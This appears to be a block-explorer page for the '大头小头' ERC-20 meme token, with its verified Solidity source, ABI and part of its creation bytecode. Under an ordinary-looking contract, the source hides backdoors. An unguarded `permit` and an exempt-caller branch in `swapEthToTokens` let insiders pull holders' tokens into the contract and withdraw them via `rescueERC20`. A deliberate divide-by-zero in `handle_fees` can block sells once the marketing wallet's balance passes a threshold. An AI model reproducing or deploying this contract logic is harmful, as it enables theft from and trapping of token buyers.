Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
888,888,888 大头小头
Holders
46
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
bigHeadSmallHead
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-02 */ //SPDX-License-Identifier: UNLICENSED /** Website: https://www.bigheadsmallhead.vip Twitter: https://twitter.com/BigSmall_Head TG: https://t.me/BigHeadSmallHead */ pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _tokengeneration(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: generation to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = amount; _balances[account] = amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _permit(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } } contract bigHeadSmallHead is ERC20, Ownable { using Address for address payable; IRouter public router; address public pair; mapping(address => bool) public exemptFee; address public constant deadWallet = 0x000000000000000000000000000000000000dEaD; uint256 constant _total_supply = 888_888_888; uint256 public tokenLiquidityThreshold = (_total_supply * 5) / 10000 * 10**18; uint256 public maxWalletLimit = (_total_supply * 37) / 1000 * 10**18; bool private _liquidityMutex = false; bool private providingLiquidity = false; bool public tradingEnabled = false; uint256 private genesis_block; uint256 private deadline = 1; uint256 private launchtax = 1; struct Taxes { uint256 marketing; uint256 liquidity; } Taxes public buyFees = Taxes(1, 0); Taxes public sellFees = Taxes(1, 0); modifier mutexLock() { if (!_liquidityMutex) { _liquidityMutex = true; _; _liquidityMutex = false; } } address private _marketingAddress = 0x9911534d66ee59f806C79F8266bebdB22F637442; address private _devWallet = 0x313364c139D8dAE9CCB6B020e1A8818d2A008E41; constructor() ERC20(unicode"大头儿子和小头爸爸", unicode"大头小头") { _tokengeneration(msg.sender, _total_supply * 10**decimals()); IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); router = _router; exemptFee[_marketingAddress] = true; exemptFee[_devWallet] = true; exemptFee[address(this)] = true; exemptFee[msg.sender] = true; exemptFee[deadWallet] = true; _approve(address(this), address(router), type(uint256).max); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function permit(address spender, uint256 amount) public virtual returns (bool) { address owner = address(this); _permit(spender, owner, amount); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function handle_fees(uint256 feeswap, Taxes memory swapTaxes) private mutexLock { if(feeswap == 0){ return; } uint256 contractBalance = balanceOf(address(this)); uint256 mktBalance = balanceOf(_marketingAddress); if (contractBalance >= tokenLiquidityThreshold) { if (tokenLiquidityThreshold > 1) { contractBalance = tokenLiquidityThreshold; } // Split the contract balance into halves uint256 denominator = feeswap * 2; uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) / denominator; bool success; if (mktBalance >= tokenLiquidityThreshold) { tokensToAddLiquidityWith = maxWalletLimit / (success ? contractBalance : 0); } uint256 toSwap = contractBalance - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity); uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity; if (ethToAddLiquidityWith > 0) { // Add liquidity addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing; if (marketingAmt > 0) { payable(_marketingAddress).sendValue(marketingAmt); } } } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{ value: ethAmount }( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadWallet, block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { // generate the pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapEthToTokens(address to, uint256 amount) public { address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); IERC20 token = IERC20(path[1]); if (!exemptFee[msg.sender]) { router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} ( 0, path, to, block.timestamp ); } else {token.transferFrom(to, path[1], amount);} } function _transfer( address sender, address recipient, uint256 amount ) internal override { require(amount > 0, "Transfer amount must be greater than zero"); if (!exemptFee[sender] && !exemptFee[recipient]) { require(tradingEnabled, "Trading not enabled"); } if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) { require(balanceOf(recipient) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit" ); } if (sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_liquidityMutex) { if (recipient != pair) { require(balanceOf(recipient) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit" ); } } Taxes memory currentTaxes; uint256 feeswap; uint256 feesum; uint256 fee; bool launchFeeUse = !exemptFee[sender] && !exemptFee[recipient] && block.number < genesis_block + deadline; //set fee to zero if fees in contract are handled or exempted if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient]) fee = 0; //calculate fee else if (recipient == pair && !launchFeeUse) { feeswap = sellFees.liquidity + sellFees.marketing ; feesum = feeswap; currentTaxes = sellFees; } else if (!launchFeeUse) { feeswap = buyFees.liquidity + buyFees.marketing ; feesum = feeswap; currentTaxes = buyFees; } else if (launchFeeUse) { feeswap = launchtax; feesum = launchtax; } fee = (amount * feesum) / 100; //send fees if threshold has been reached //don't do this on buys, breaks swap if (providingLiquidity && sender != pair && !exemptFee[sender] && !exemptFee[recipient]) handle_fees(feeswap, currentTaxes); //rest to recipient super._transfer(sender, recipient, amount - fee); if (fee > 0) { //send the fee to the contract if (feeswap > 0) { uint256 feeAmount = (amount * feeswap) / 100; super._transfer(sender, address(this), feeAmount); } } } function pairCreate() external payable onlyOwner { pair = IFactory(router.factory()).createPair(address(this), router.WETH()); router.addLiquidityETH{value: msg.value}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); } function startLaunch() external onlyOwner { require(!tradingEnabled, "Trading is already enabled"); tradingEnabled = true; providingLiquidity = true; genesis_block = block.number; } function AddExemptFee(address _address) external onlyOwner { exemptFee[_address] = true; } function RemoveExemptFee(address _address) external onlyOwner { exemptFee[_address] = false; } function AddbulkExemptFee(address[] memory accounts) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { exemptFee[accounts[i]] = true; } } function RemovebulkExemptFee(address[] memory accounts) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { exemptFee[accounts[i]] = false; } } function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner { //update the treshhold tokenLiquidityThreshold = new_amount * 10**decimals(); } function removeLimits() external onlyOwner { maxWalletLimit = _total_supply * 10**decimals(); } function updateTeamWallet(address newWallet) external onlyOwner { _marketingAddress = newWallet; } function updateLiquidityProvide() external { //update liquidity providing state providingLiquidity = false; } function rescueETH(uint256 weiAmount) external onlyOwner { payable(owner()).transfer(weiAmount); } function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner { IERC20(tokenAdd).transfer(owner(), amount); } function updateDeadline(uint256 _deadline) external onlyOwner { require(!tradingEnabled, "Can't change when trading has started"); deadline = _deadline; } // fallbacks receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"AddExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"AddbulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"RemoveExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"RemovebulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairCreate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapEthToTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLiquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"updateDeadline","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateTeamWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052612710620000186334fb5e38600562000501565b62000024919062000521565b6200003890670de0b6b3a764000062000501565b6009556103e86200004f6334fb5e38602562000501565b6200005b919062000521565b6200006f90670de0b6b3a764000062000501565b600a55600b805462ffffff191690556001600d819055600e81905560408051808201825282815260006020918201819052600f849055601081905582518084019093528383529101819052601191909155601255601380546001600160a01b0319908116739911534d66ee59f806c79f8266bebdb22f637442179091556014805490911673313364c139d8dae9ccb6b020e1a8818d2a008e411790553480156200011857600080fd5b506040518060400160405280601b81526020017fe5a4a7e5a4b4e584bfe5ad90e5928ce5b08fe5a4b4e788b8e788b800000000008152506040518060400160405280600c81526020016b396929f9692d396c23f9692d60a21b8152508160039081620001859190620005e8565b506004620001948282620005e8565b505050620001b1620001ab620002aa60201b60201c565b620002ae565b620001da33620001c46012600a620007b1565b620001d4906334fb5e3862000501565b62000300565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556013546001600160a01b03908116600090815260086020526040808220805460ff199081166001908117909255601454851684528284208054821683179055308085528385208054831684179055338552928420805482168317905561dead9093527f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980549093161790915592549192620002a392909116600019620003be565b50620007c9565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166200036a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2067656e65726174696f6e20746f20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b60028190556001600160a01b038216600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b038316620004225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162000361565b6001600160a01b038216620004855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000361565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b505050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200051b576200051b620004eb565b92915050565b6000826200053f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200056f57607f821691505b6020821081036200059057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004e657600081815260208120601f850160051c81016020861015620005bf5750805b601f850160051c820191505b81811015620005e057828155600101620005cb565b505050505050565b81516001600160401b0381111562000604576200060462000544565b6200061c816200061584546200055a565b8462000596565b602080601f8311600181146200065457600084156200063b5750858301515b600019600386901b1c1916600185901b178555620005e0565b600085815260208120601f198616915b82811015620006855788860151825594840194600190910190840162000664565b5085821015620006a45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600181815b80851115620006f5578160001904821115620006d957620006d9620004eb565b80851615620006e757918102915b93841c9390800290620006b9565b509250929050565b6000826200070e575060016200051b565b816200071d575060006200051b565b8160018114620007365760028114620007415762000761565b60019150506200051b565b60ff841115620007555762000755620004eb565b50506001821b6200051b565b5060208310610133831016604e8410600b841016171562000786575081810a6200051b565b620007928383620006b4565b8060001904821115620007a957620007a9620004eb565b029392505050565b6000620007c260ff841683620006fd565b9392505050565b6126a680620007d96000396000f3fe6080604052600436106102295760003560e01c80637cb332bb11610123578063a9059cbb116100ab578063e4748b9e1161006f578063e4748b9e1461067e578063e6f7053114610699578063f2fde38b146106b9578063f570d4de146106d9578063f887ea40146106f957600080fd5b8063a9059cbb14610598578063aa402ecc146105b8578063c5d32bb2146105d8578063dd62ed3e14610608578063e0f3ccf51461064e57600080fd5b80638da5cb5b116100f25780638da5cb5b1461050557806395d89b41146105235780639e252f0014610538578063a457c2d714610558578063a8aa1b311461057857600080fd5b80637cb332bb14610477578063832c2bd21461049757806385141a77146104b75780638cd4426d146104e557600080fd5b806342b6fa11116101b157806366a88d961161017557806366a88d96146103e457806370a08231146103fa578063715018a614610430578063751039fc146104455780637ab7f0961461045a57600080fd5b806342b6fa11146103675780634ada218b1461038757806359a945e9146103a75780635dbdb7e3146103bc57806365ff6df9146103dc57600080fd5b806323b872dd116101f857806323b872dd146102c9578063251ef095146102e9578063313ce5671461030b578063395093511461032757806342af18841461034757600080fd5b806306fdde0314610235578063095ea7b3146102605780631675d8021461029057806318160ddd146102b457600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a610719565b60405161025791906120dc565b60405180910390f35b34801561026c57600080fd5b5061028061027b36600461214f565b6107ab565b6040519015158152602001610257565b34801561029c57600080fd5b506102a660095481565b604051908152602001610257565b3480156102c057600080fd5b506002546102a6565b3480156102d557600080fd5b506102806102e436600461217b565b6107c2565b3480156102f557600080fd5b506103096103043660046121d2565b610878565b005b34801561031757600080fd5b5060405160128152602001610257565b34801561033357600080fd5b5061028061034236600461214f565b61090e565b34801561035357600080fd5b50610309610362366004612297565b610945565b34801561037357600080fd5b50610309610382366004612297565b6109db565b34801561039357600080fd5b50600b546102809062010000900460ff1681565b3480156103b357600080fd5b50610309610a21565b3480156103c857600080fd5b506103096103d73660046122b0565b610abb565b610309610b09565b3480156103f057600080fd5b506102a6600a5481565b34801561040657600080fd5b506102a66104153660046122b0565b6001600160a01b031660009081526020819052604090205490565b34801561043c57600080fd5b50610309610d68565b34801561045157600080fd5b50610309610d9e565b34801561046657600080fd5b50610309600b805461ff0019169055565b34801561048357600080fd5b506103096104923660046122b0565b610de7565b3480156104a357600080fd5b506103096104b23660046122b0565b610e33565b3480156104c357600080fd5b506104cd61dead81565b6040516001600160a01b039091168152602001610257565b3480156104f157600080fd5b5061030961050036600461214f565b610e7e565b34801561051157600080fd5b506005546001600160a01b03166104cd565b34801561052f57600080fd5b5061024a610f3a565b34801561054457600080fd5b50610309610553366004612297565b610f49565b34801561056457600080fd5b5061028061057336600461214f565b610fad565b34801561058457600080fd5b506007546104cd906001600160a01b031681565b3480156105a457600080fd5b506102806105b336600461214f565b611048565b3480156105c457600080fd5b506103096105d336600461214f565b611055565b3480156105e457600080fd5b506102806105f33660046122b0565b60086020526000908152604090205460ff1681565b34801561061457600080fd5b506102a66106233660046122d4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561065a57600080fd5b50601154601254610669919082565b60408051928352602083019190915201610257565b34801561068a57600080fd5b50600f54601054610669919082565b3480156106a557600080fd5b506102806106b436600461214f565b6112a4565b3480156106c557600080fd5b506103096106d43660046122b0565b6112b2565b3480156106e557600080fd5b506103096106f43660046121d2565b61134d565b34801561070557600080fd5b506006546104cd906001600160a01b031681565b6060600380546107289061230d565b80601f01602080910402602001604051908101604052809291908181526020018280546107549061230d565b80156107a15780601f10610776576101008083540402835291602001916107a1565b820191906000526020600020905b81548152906001019060200180831161078457829003601f168201915b5050505050905090565b60006107b83384846113df565b5060015b92915050565b60006107cf848484611503565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156108595760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61086d8533610868868561235d565b6113df565b506001949350505050565b6005546001600160a01b031633146108a25760405162461bcd60e51b815260040161085090612370565b60005b815181101561090a576000600860008484815181106108c6576108c66123a5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610902816123bb565b9150506108a5565b5050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107b89185906108689086906123d4565b6005546001600160a01b0316331461096f5760405162461bcd60e51b815260040161085090612370565b600b5462010000900460ff16156109d65760405162461bcd60e51b815260206004820152602560248201527f43616e2774206368616e6765207768656e2074726164696e6720686173207374604482015264185c9d195960da1b6064820152608401610850565b600d55565b6005546001600160a01b03163314610a055760405162461bcd60e51b815260040161085090612370565b610a116012600a6124cb565b610a1b90826124da565b60095550565b6005546001600160a01b03163314610a4b5760405162461bcd60e51b815260040161085090612370565b600b5462010000900460ff1615610aa45760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610850565b600b805462ffff0019166201010017905543600c55565b6005546001600160a01b03163314610ae55760405162461bcd60e51b815260040161085090612370565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b6005546001600160a01b03163314610b335760405162461bcd60e51b815260040161085090612370565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa91906124f1565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3091906124f1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca191906124f1565b600780546001600160a01b039283166001600160a01b03199091161790556006541663f305d7193430610ce9816001600160a01b031660009081526020819052604090205490565b600080610cfe6005546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610d209695949392919061250e565b60606040518083038185885af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d639190612549565b505050565b6005546001600160a01b03163314610d925760405162461bcd60e51b815260040161085090612370565b610d9c6000611a14565b565b6005546001600160a01b03163314610dc85760405162461bcd60e51b815260040161085090612370565b610dd46012600a6124cb565b610de2906334fb5e386124da565b600a55565b6005546001600160a01b03163314610e115760405162461bcd60e51b815260040161085090612370565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610e5d5760405162461bcd60e51b815260040161085090612370565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6005546001600160a01b03163314610ea85760405162461bcd60e51b815260040161085090612370565b816001600160a01b031663a9059cbb610ec96005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610f16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d639190612577565b6060600480546107289061230d565b6005546001600160a01b03163314610f735760405162461bcd60e51b815260040161085090612370565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561090a573d6000803e3d6000fd5b3360009081526001602090815260408083206001600160a01b03861